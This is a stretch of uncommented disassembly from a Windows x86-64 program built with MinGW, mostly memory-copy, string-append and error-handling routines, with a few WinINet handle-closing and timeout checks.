mov qword [rsp + 0x120], rax
mov rcx, rax
mov rax, qword [rsp + 0xbb0]
mov qword [rsp + 0x130], rax
mov r8, rbx
mov rdx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rbx, qword [rsp + 0xbb0]
mov rax, qword [rsp + 0x120]
jmp 0x140007b95
mov edx, dword [rbx + 0x20]
or edx, 4
call fcn.14000ba78
jmp 0x14000856f
mov qword [rsp + 0xc0], 0
xor ebp, ebp
xor ebx, ebx
jmp 0x140008609
call fcn.14000bb68
test rax, rax
je 0x1400092da
mov edi, 0xe2
test rbx, rbx
je 0x140008ac5
mov rdx, qword [rsp + 0x80]
mov rcx, rbx
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
jmp 0x140008ac5
cmp rdx, 0x1e
jbe 0x1400093d2
mov r9, r8
and r9, 0xffffffffffffffe0
vmovdqu ymm3, ymmword [rbx + rax]
vmovdqu ymmword [rcx + rax], ymm3
add rax, 0x20
cmp rax, r9
jne 0x140008cf9
lea rax, [rbx + r9]
lea rdx, [rcx + r9]
cmp r9, r8
je 0x1400093f8
sub r8, r9
lea r10, [r8 - 1]
cmp r10, 0xe
jbe 0x1400093e0
vzeroupper
vmovdqu xmm5, xmmword [rbx + r9]
vmovdqu xmmword [rcx + r9], xmm5
mov rcx, r8
and rcx, 0xfffffffffffffff0
add rax, rcx
add rdx, rcx
and r8d, 0xf
je 0x1400086b8
movzx ecx, byte [rax]
mov r11, qword [rsp + 0xc0]
mov byte [rdx], cl
lea rcx, [rax + 1]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 1]
mov byte [rdx + 1], cl
lea rcx, [rax + 2]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 2]
mov byte [rdx + 2], cl
lea rcx, [rax + 3]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 3]
mov byte [rdx + 3], cl
lea rcx, [rax + 4]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 4]
mov byte [rdx + 4], cl
lea rcx, [rax + 5]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 5]
mov byte [rdx + 5], cl
lea rcx, [rax + 6]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 6]
mov byte [rdx + 6], cl
lea rcx, [rax + 7]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 7]
mov byte [rdx + 7], cl
lea rcx, [rax + 8]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 8]
mov byte [rdx + 8], cl
lea rcx, [rax + 9]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 9]
mov byte [rdx + 9], cl
lea rcx, [rax + 0xa]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 0xa]
mov byte [rdx + 0xa], cl
lea rcx, [rax + 0xb]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 0xb]
mov byte [rdx + 0xb], cl
lea rcx, [rax + 0xc]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 0xc]
mov byte [rdx + 0xc], cl
lea rcx, [rax + 0xd]
cmp r11, rcx
je 0x1400086b8
movzx ecx, byte [rax + 0xd]
mov byte [rdx + 0xd], cl
lea rcx, [rax + 0xe]
cmp r11, rcx
je 0x1400086b8
movzx eax, byte [rax + 0xe]
mov byte [rdx + 0xe], al
jmp 0x1400086b8
mov rbp, rax
xor edx, edx
lea rax, [rbx + rax]
mov rcx, r10
mov qword [rsp + 0xc0], rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
jmp 0x140008609
add r8, 1
mov r10, r13
mov rax, rcx
cmp r8d, 8
jae 0x140009271
xor r9d, r9d
test r8b, 4
je 0x140008ec5
mov r9d, dword [rax]
mov dword [r10], r9d
mov r9d, 4
test r8b, 2
je 0x140008ed9
movzx r11d, word [rax + r9]
mov word [r10 + r9], r11w
add r9, 2
and r8d, 1
je 0x140008422
movzx eax, byte [rax + r9]
mov byte [r10 + r9], al
jmp 0x140008422
mov rbx, qword [rsp + 0x88]
add rax, 1
mov rdx, r8
mov r10, rbx
cmp eax, 8
jae 0x140009241
xor r9d, r9d
test al, 4
je 0x140008f1f
mov r9d, dword [rdx]
mov dword [r10], r9d
mov r9d, 4
test al, 2
je 0x140008f31
movzx r11d, word [rdx + r9]
mov word [r10 + r9], r11w
add r9, 2
test al, 1
je 0x140008f3e
movzx eax, byte [rdx + r9]
mov byte [r10 + r9], al
mov rax, qword [rcx + 8]
jmp 0x140008275
add r8, 1
mov rbx, rsi
mov r10, rsi
mov rdx, rcx
cmp r8d, 8
jae 0x140009214
xor r9d, r9d
test r8b, 4
je 0x140008f73
mov r9d, dword [rdx]
mov dword [r10], r9d
mov r9d, 4
test r8b, 2
je 0x140008f87
movzx r11d, word [rdx + r9]
mov word [r10 + r9], r11w
add r9, 2
and r8d, 1
je 0x1400081e6
movzx edx, byte [rdx + r9]
mov byte [r10 + r9], dl
jmp 0x1400081e6
add r8, 1
mov r10, r12
mov rdx, rcx
cmp r8d, 8
jae 0x1400091ec
xor r9d, r9d
test r8b, 4
je 0x140008fc8
mov r9d, dword [rdx]
mov dword [r10], r9d
mov r9d, 4
test r8b, 2
je 0x140008fdc
movzx r11d, word [rdx + r9]
mov word [r10 + r9], r11w
add r9, 2
and r8d, 1
je 0x140008163
movzx edx, byte [rdx + r9]
mov byte [r10 + r9], dl
jmp 0x140008163
add r8, 1
mov r10, r15
mov rdx, rcx
cmp r8d, 8
jae 0x1400091c4
xor r9d, r9d
test r8b, 4
je 0x14000901d
mov r9d, dword [rdx]
mov dword [r10], r9d
mov r9d, 4
test r8b, 2
je 0x140009031
movzx r11d, word [rdx + r9]
mov word [r10 + r9], r11w
add r9, 2
and r8d, 1
je 0x1400080d0
movzx edx, byte [rdx + r9]
mov byte [r10 + r9], dl
jmp 0x1400080d0
add r8, 1
mov r10, r14
mov rdx, rcx
cmp r8d, 8
jae 0x140009136
xor r9d, r9d
test r8b, 4
je 0x140009072
mov r9d, dword [rdx]
mov dword [r10], r9d
mov r9d, 4
test r8b, 2
je 0x140009086
movzx r11d, word [rdx + r9]
mov word [r10 + r9], r11w
add r9, 2
and r8d, 1
je 0x14000803d
movzx edx, byte [rdx + r9]
mov byte [r10 + r9], dl
jmp 0x14000803d
mov rcx, qword [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
call fcn.14000bad0
mov rbp, qword [rsp + 0xbb0]
mov qword [rsp + 0x1c0], rax
mov rcx, rax
mov qword [rsp + 0x1d0], rbp
jmp 0x14000866a
xor eax, eax
movzx edx, byte [rbx + rax]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, r8
jne 0x1400086a8
jmp 0x1400086b8
mov edi, 0xe6
jmp 0x140008a81
add r8, 1
mov r10, r14
mov rdx, rcx
cmp r8d, 8
jae 0x140009395
xor r9d, r9d
test r8b, 4
jne 0x140009384
test r8b, 2
jne 0x140009371
and r8d, 1
je 0x1400087ab
movzx edx, byte [rdx + r9]
mov byte [r10 + r9], dl
jmp 0x1400087ab
mov r11d, r8d
xor edx, edx
and r11d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r10, qword [rcx + r9]
mov qword [r14 + r9], r10
cmp edx, r11d
jb 0x14000913f
lea r10, [r14 + rdx]
add rdx, rcx
jmp 0x14000905d
add r8, 1
mov r10, qword [rsp + 0x50]
mov rdx, rcx
cmp r8d, 8
jae 0x14000931d
xor r9d, r9d
test r8b, 4
jne 0x140009360
test r8b, 2
jne 0x14000934d
and r8d, 1
je 0x14000872d
movzx edx, byte [rdx + r9]
mov byte [r10 + r9], dl
jmp 0x14000872d
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x48]
add rcx, qword [rax - 0x18]
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.14000ba78
jmp 0x140008641
mov r11d, r8d
xor edx, edx
and r11d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r10, qword [rcx + r9]
mov qword [r15 + r9], r10
cmp edx, r11d
jb 0x1400091cd
lea r10, [r15 + rdx]
add rdx, rcx
jmp 0x140009008
mov r11d, r8d
xor edx, edx
and r11d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r10, qword [rcx + r9]
mov qword [r12 + r9], r10
cmp edx, r11d
jb 0x1400091f5
lea r10, [r12 + rdx]
add rdx, rcx
jmp 0x140008fb3
mov r11d, r8d
xor edx, edx
and r11d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r10, qword [rcx + r9]
mov qword [rbx + r9], r10
cmp edx, r11d
jb 0x14000921d
mov rsi, qword [rsp + 0x50]
lea r10, [rsi + rdx]
add rdx, rcx
jmp 0x140008f5e
mov r11d, eax
xor edx, edx
and r11d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r10, qword [r8 + r9]
mov qword [rbx + r9], r10
cmp edx, r11d
jb 0x14000924a
mov rsi, qword [rsp + 0x88]
lea r10, [rsi + rdx]
add rdx, r8
jmp 0x140008f0c
mov r11d, r8d
xor eax, eax
and r11d, 0xfffffff8
mov r9d, eax
add eax, 8
mov r10, qword [rcx + r9]
mov qword [r13 + r9], r10
cmp eax, r11d
jb 0x14000927a
lea r10, [r13 + rax]
add rax, rcx
jmp 0x140008eb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r15d, eax
mov rcx, rbp
call rdi
mov rcx, qword [rsp + 0xd8]
call rdi
mov rcx, qword [rsp + 0x50]
call rdi
xor edi, edi
cmp r15d, 0x2ee2
sete dil
lea edi, [rdi*4 + 0xe3]
jmp 0x140008a81
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x48]
add rcx, qword [rax - 0x18]
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.14000ba78
jmp 0x140008cc5
mov rcx, qword [rsp + 0xd8]
mov rdi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rdi
mov rcx, qword [rsp + 0x50]
call rdi
mov edi, 0xe4
jmp 0x140008a81
mov r10d, r8d
xor edx, edx
and r10d, 0xfffffff8
mov r9d, edx
mov rbp, qword [rsp + 0x50]
add edx, 8
mov r11, qword [rcx + r9]
mov qword [rbp + r9], r11
cmp edx, r10d
jb 0x140009326
mov r10, rbp
add r10, rdx
add rdx, rcx
jmp 0x140009174
movzx r11d, word [rdx + r9]
mov word [r10 + r9], r11w
add r9, 2
jmp 0x14000918b
mov r9d, dword [rdx]
mov dword [r10], r9d
mov r9d, 4
jmp 0x140009181
movzx r11d, word [rdx + r9]
mov word [r10 + r9], r11w
add r9, 2
jmp 0x14000911e
mov r9d, dword [rdx]
mov dword [r10], r9d
mov r9d, 4
jmp 0x140009114
mov r10d, r8d
xor edx, edx
and r10d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r11, qword [rcx + r9]
mov qword [r14 + r9], r11
cmp edx, r10d
jb 0x14000939e
lea r10, [r14 + rdx]
add rdx, rcx
jmp 0x140009107
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, 0xe5
jmp 0x140008a81
mov rax, rbx
mov rdx, rcx
xor r9d, r9d
jmp 0x140008d31
vzeroupper
jmp 0x140008d54
lea rcx, str.basic_string::append
call fcn.14000ba48
nop dword [rax]
vzeroupper
jmp 0x1400086b8
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.cannot_create_std::vector_larger_than_max_size__
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
lea rcx, str.basic_string::append
call fcn.14000ba48
mov r9, rbx
lea rdx, str.basic_string::substr
lea rcx, str._s:___pos__which_is__zu____this__size____which_is__zu_
call fcn.14000ba40
mov rbx, rax
jmp 0x140010578
mov rcx, rdi
vzeroupper
call fcn.14000bb00
lea rcx, [rsp + 0x160]
call fcn.14000bb00
mov rcx, qword [rsp + 0x70]
call fcn.14000bb00
mov rcx, qword [rsp + 0xb8]
call fcn.14000bb00
mov rcx, qword [rsp + 0x68]
call fcn.14000bb00
mov rcx, rbx
call sub.libgcc_s_seh_1.dll__Unwind_Resume
mov rcx, rdi
vzeroupper
call fcn.14000bb00
mov rcx, qword [rsp + 0x48]
call fcn.14000bb00
mov rcx, qword [rsp + 0x40]
call fcn.14000bb00
mov rcx, qword [rsp + 0xd0]
call fcn.14000bb00
mov rcx, qword [rsp + 0x60]
call fcn.14000bb00
jmp 0x140010590